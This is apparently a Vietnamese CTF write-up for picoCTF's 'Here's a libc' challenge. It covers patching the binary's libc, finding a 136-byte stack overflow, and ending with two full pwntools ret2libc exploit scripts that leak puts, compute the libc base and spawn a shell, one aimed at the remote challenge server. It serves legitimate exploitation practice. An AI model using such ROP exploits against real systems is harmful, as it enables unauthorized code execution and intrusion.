Here's a libc
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc/test$ ls
Makefile libc.so.6 vuln
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc/test$ ./vuln
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!
Oke sau khi load file về, ta có 3 file như trên. Ta run binary thì không được. Là do binary này liên kết với file thư viện có version khác với version trên máy ta hiện tại.
Để sure về điều đó thì mình cùng đi check thử xem:
Binary file
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc/test$ ldd vuln
linux-vdso.so.1 (0x00007ffed6b25000)
libc.so.6 => ./libc.so.6 (0x00007f8825000000)
/lib64/ld-linux-x86-64.so.2 (0x00007f88253f5000)
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc/test$ strings libc.so.6| grep "release version"
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27.
file vuln link với libc version 2.27
My machine
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc/test$ strings /usr/lib/x86_64-linux-gnu/libc.so.6 | grep "release version"
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Như đã thấy thì 2 version khá chênh nên ta cần đến pwninit
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc/test$ pwninit
bin: ./vuln
libc: ./libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.27-3ubuntu1.2_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.2_amd64.deb
warning: failed unstripping libc: failed running eu-unstrip, please install elfutils: No such file or directory (os error 2)
copying ./vuln to ./vuln_patched
running patchelf on ./vuln_patched
writing solve.py stub
Then,
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc/test$ ./vuln
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc/test$ ls
Makefile ld-2.27.so libc.so.6 solve.py vuln vuln_patched
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc/test$ ./ld-2.27.so ./vuln
WeLcOmE To mY EcHo sErVeR!
abc
AbC
Tuy nhiên như này thì trông nó khá là cồng kềnh, do đó:
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc/test$ patchelf --set-interpreter ./ld-2.27.so ./vuln
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc/test$ ./vuln
WeLcOmE To mY EcHo sErVeR!
abc
AbC
Oke giờ thì bắt tay vào làm.
File
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.27.so, for GNU/Linux 3.2.0, BuildID[sha1]=e5dba3e6ed29e457cd104accb279e127285eecd0, not stripped
Checksec
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc$ checksec vuln
[*] '/mnt/d/pwn_myself/Pico/Here_libc/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
Main func
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
v7 = argc;
v6 = argv;
setbuf(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
v11 = 27LL;
strcpy(v8, "Welcome to my echo server!");
v10 = 26LL;
v3 = alloca(32LL);
s = (char *)&v6;
for ( i = 0LL; i < v11; ++i )
{
v4 = convert_case((unsigned int)v8[i], i);
s[i] = v4;
}
v5 = s;
puts(s);
while ( 1 )
do_stuff(v5);
}
convert_case func
__int64 __fastcall convert_case(unsigned __int8 a1, char a2)
{
__int64 result; // rax
if ( (char)a1 <= 96 || (char)a1 > 122 )
{
if ( (char)a1 <= 64 || (char)a1 > 90 )
{ result = a1; }
else if ( (a2 & 1) != 0 )
{ result = (unsigned int)a1 + 32; }
else
{ result = a1; }
}
else if ( (a2 & 1) != 0 )
{ result = a1; }
else
{ result = (unsigned int)a1 - 32; }
return result;
}
do_stuff func
int do_stuff()
{
char v0; // al
char v2; // [rsp+Fh] [rbp-81h] BYREF
char s[112]; // [rsp+10h] [rbp-80h] BYREF
__int64 v4; // [rsp+80h] [rbp-10h]
unsigned __int64 i; // [rsp+88h] [rbp-8h]
v4 = 0LL;
__isoc99_scanf("%[^\n]", s);
__isoc99_scanf("%c", &v2);
for ( i = 0LL; i <= 0x63; ++i )
{
v0 = convert_case(s[i], i);
s[i] = v0;
}
return puts(s);
}
Lúc mới start chương trình thì gọi hàm convert_case với chuỗi đã chỉ định, và đây là output
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc$ ./vuln
WeLcOmE To mY EcHo sErVeR!
Đọc sơ code thì có vẻ chức năng hàm convert_case cũng đơn giản chỉ là in hoa xen kẽ
Sau khi xuất ra như thế thì flow chương trình vào vòng lặp với do_stuff
Có 2 scanf đáng nói ở đây, "%[^\n]" chuỗi này cho phép mọi kí tự ngoại trừ \n, trong khi %c thì chỉ nhận 1 kí tự, có vẻ như sau khi nhập 1 chuỗi rồi nhấn enter thì \n là đầu vào của scanf thứ 2.
Trong binary này không có công cụ cho việc lấy shell hay in flag, Nx lại enable ta sẽ suy nghĩ đến cái tên chall => ret2libc :))
Oke giờ thì tính byte overflow đến return address nào.
pwndbg> disass do_stuff
Dump of assembler code for function do_stuff:
0x00000000004006d8 <+0>: push rbp
0x00000000004006d9 <+1>: mov rbp,rsp
0x00000000004006dc <+4>: sub rsp,0x90
0x00000000004006e3 <+11>: mov QWORD PTR [rbp-0x10],0x0
0x00000000004006eb <+19>: lea rax,[rbp-0x80]
0x00000000004006ef <+23>: mov rsi,rax
0x00000000004006f2 <+26>: lea rdi,[rip+0x23b] # 0x400934
0x00000000004006f9 <+33>: mov eax,0x0
0x00000000004006fe <+38>: call 0x400580 <__isoc99_scanf@plt>
0x0000000000400703 <+43>: lea rax,[rbp-0x81]
0x000000000040070a <+50>: mov rsi,rax
0x000000000040070d <+53>: lea rdi,[rip+0x226] # 0x40093a
0x0000000000400714 <+60>: mov eax,0x0
0x0000000000400719 <+65>: call 0x400580 <__isoc99_scanf@plt>
0x000000000040071e <+70>: mov QWORD PTR [rbp-0x8],0x0
0x0000000000400726 <+78>: jmp 0x40075b <do_stuff+131>
0x0000000000400728 <+80>: lea rdx,[rbp-0x80]
0x000000000040072c <+84>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400730 <+88>: add rax,rdx
0x0000000000400733 <+91>: movzx eax,BYTE PTR [rax]
0x0000000000400736 <+94>: movsx eax,al
0x0000000000400739 <+97>: mov rdx,QWORD PTR [rbp-0x8]
0x000000000040073d <+101>: mov rsi,rdx
0x0000000000400740 <+104>: mov edi,eax
0x0000000000400742 <+106>: call 0x400677 <convert_case>
0x0000000000400747 <+111>: mov ecx,eax
0x0000000000400749 <+113>: lea rdx,[rbp-0x80]
0x000000000040074d <+117>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400751 <+121>: add rax,rdx
0x0000000000400754 <+124>: mov BYTE PTR [rax],cl
0x0000000000400756 <+126>: add QWORD PTR [rbp-0x8],0x1
0x000000000040075b <+131>: cmp QWORD PTR [rbp-0x8],0x63
0x0000000000400760 <+136>: jbe 0x400728 <do_stuff+80>
0x0000000000400762 <+138>: lea rax,[rbp-0x80]
0x0000000000400766 <+142>: mov rdi,rax
0x0000000000400769 <+145>: call 0x400540 <puts@plt>
0x000000000040076e <+150>: nop
0x000000000040076f <+151>: leave
0x0000000000400770 <+152>: ret
End of assembler dump.
pwndbg> b* 0x00000000004006fe
Breakpoint 1 at 0x4006fe
pwndbg> b* 0x0000000000400770
Breakpoint 2 at 0x400770
► 0x4006fe <do_stuff+38> call __isoc99_scanf@plt <__isoc99_scanf@plt>
format: 0x400934 ◂— 0x6325005d0a5e5b25 /* '%[^\n]' */
vararg: 0x7fffffffdfb0 —▸ 0x7fffffffe040 ◂— 'WeLcOmE To mY EcHo sErVeR!'
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
► 0x400770 <do_stuff+152> ret <0x4008a0; main+303>
↓
0x4008a0 <main+303> jmp main+293 <main+293>
↓
0x400896 <main+293> mov eax, 0
0x40089b <main+298> call do_stuff <do_stuff>
0x4008a0 <main+303> jmp main+293 <main+293>
0x4008a2 nop word ptr cs:[rax + rax]
0x4008ac nop dword ptr [rax]
0x4008b0 <__libc_csu_init> push r15
0x4008b2 <__libc_csu_init+2> push r14
0x4008b4 <__libc_csu_init+4> mov r15, rdx
0x4008b7 <__libc_csu_init+7> push r13
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe038 —▸ 0x4008a0 (main+303) ◂— jmp 0x400896
01:0008│ 0x7fffffffe040 ◂— 'WeLcOmE To mY EcHo sErVeR!'
>>> str = 0x7fffffffdfb0
>>> ret = 0x7fffffffe038
>>> ret - str
136
=> overflow 136 bytes
Cơ mà cần nơi để return về. Nói là ret2libc thì cần leak được địa chỉ trong binary để tính ra libc base.
Do đó ta lợi dùng hàm puts
đưa vào đó puts_got để puts in ra địa chỉ thật trên binary chỗ này mình cũng chưa hiểu tại sao :(( chắc như là 1+1=2
Ta có thể sử dụng got_other_funcs, như là setresgid chẳng hạn
Do đó ta cần gadget pop rdi ; ret và ret
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc$ ROPgadget --binary vuln | grep "pop rdi ; ret"
0x0000000000400913 : pop rdi ; ret
------------------------------------------------
0x000000000040052e : ret
Sau khi đã có được địa chỉ thực của puts => tìm các offset trên libc cần thiết:
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc$ readelf -sW /mnt/d/pwn_myself/Pico/Here_libc/libc.so.6 | grep "puts"
191: 0000000000080a30 512 FUNC GLOBAL DEFAULT 13 _IO_puts@@GLIBC_2.2.5
422: 0000000000080a30 512 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5
496: 0000000000126870 1240 FUNC GLOBAL DEFAULT 13 putspent@@GLIBC_2.2.5
678: 0000000000128780 750 FUNC GLOBAL DEFAULT 13 putsgent@@GLIBC_2.10
1141: 000000000007f260 396 FUNC WEAK DEFAULT 13 fputs@@GLIBC_2.2.5
1677: 000000000007f260 396 FUNC GLOBAL DEFAULT 13 _IO_fputs@@GLIBC_2.2.5
2310: 000000000008a6b0 143 FUNC WEAK DEFAULT 13 fputs_unlocked@@GLIBC_2.2.5
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc$ readelf -sW /mnt/d/pwn_myself/Pico/Here_libc/libc.so.6 | grep "system"
232: 000000000015a020 99 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.2.5
607: 000000000004f4e0 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1403: 000000000004f4e0 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/Here_libc$ strings -tx /mnt/d/pwn_myself/Pico/Here_libc/libc.so.6 | grep "/b
in/sh"
1b40fa /bin/sh
Đây chỉ mới là offset, do đó cần tính địa chỉ thực dựa vào libc base
system_address = libc_base + system_offset
binsh_address = libc_base + binsh_offset
Sau khi gọi hàm puts thì cũng đừng quên ret về hàm khác (do_stuff) để tránh lỗi, chứ không puts xong thì nó biết làm gì nựa giờ.
Sau khi có địa chỉ đầy đủ thì payload cuối cùng so ez
Exploit local basic
from pwn import *
binary = context.binary = ELF('./vuln')
r = process(binary.path)
#gdb.attach(r, api=True)
ret = 0x000000000040052e
pop_rdi_ret = 0x0000000000400913
do_stuff = 0x4006d8
plt_puts = 0x400540
got_puts = 0x601018
junk = b"a" * 136
payload = junk + p64(ret) + p64(pop_rdi_ret) + p64(got_puts) + p64(plt_puts)
payload += p64(ret) + p64(do_stuff)
r.sendline(payload)
leak = r.recvline()
leak = r.recvline()
leak = u64(r.recvline().strip().ljust(8,b"\x00"))
log.info('puts: ' + hex(leak))
offset_puts = 0x0000000000080a30
libc_base = leak - offset_puts
print('libc base = ' + hex(libc_base))
system_offset = 0x000000000004f4e0
binsh_offset = 0x1b40fa
system_address = libc_base + system_offset
binsh_address = libc_base + binsh_offset
payload = junk + p64(ret) + p64(pop_rdi_ret) + p64(binsh_address) +p64(system_address)
r.sendline(payload)
r.interactive()
Exploit remote and local vippro123
from pwn import *
libc = ELF('libc.so.6')
binary = ELF('./vuln')
if not args.REMOTE:
r = process(binary.path)
else:
r = remote('mercury.picoctf.net', 1774)
rop = ROP(binary)
pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
puts_offset = libc.symbols['puts']
r.recvuntil("sErVeR!\n")
payload1 = b'a' * 136
payload1 += p64(ret)
payload1 += p64(pop_rdi_ret)
payload1 += p64(binary.got['puts'])
payload1 += p64(binary.plt['puts'])
payload1 += p64(ret)
payload1 += p64(binary.symbols['do_stuff'])
r.sendline(payload1)
r.recvline()
leak_puts = r.recv(6) + b'\x00\x00'
print("Leaked puts: " + str(hex(u64(leak_puts))))
libc.address = u64(leak_puts) - puts_offset
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
payload2 = b'a'*136
payload2 += p64(ret)
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh)
payload2 += p64(system)
r.sendline(payload2)
r.interactive()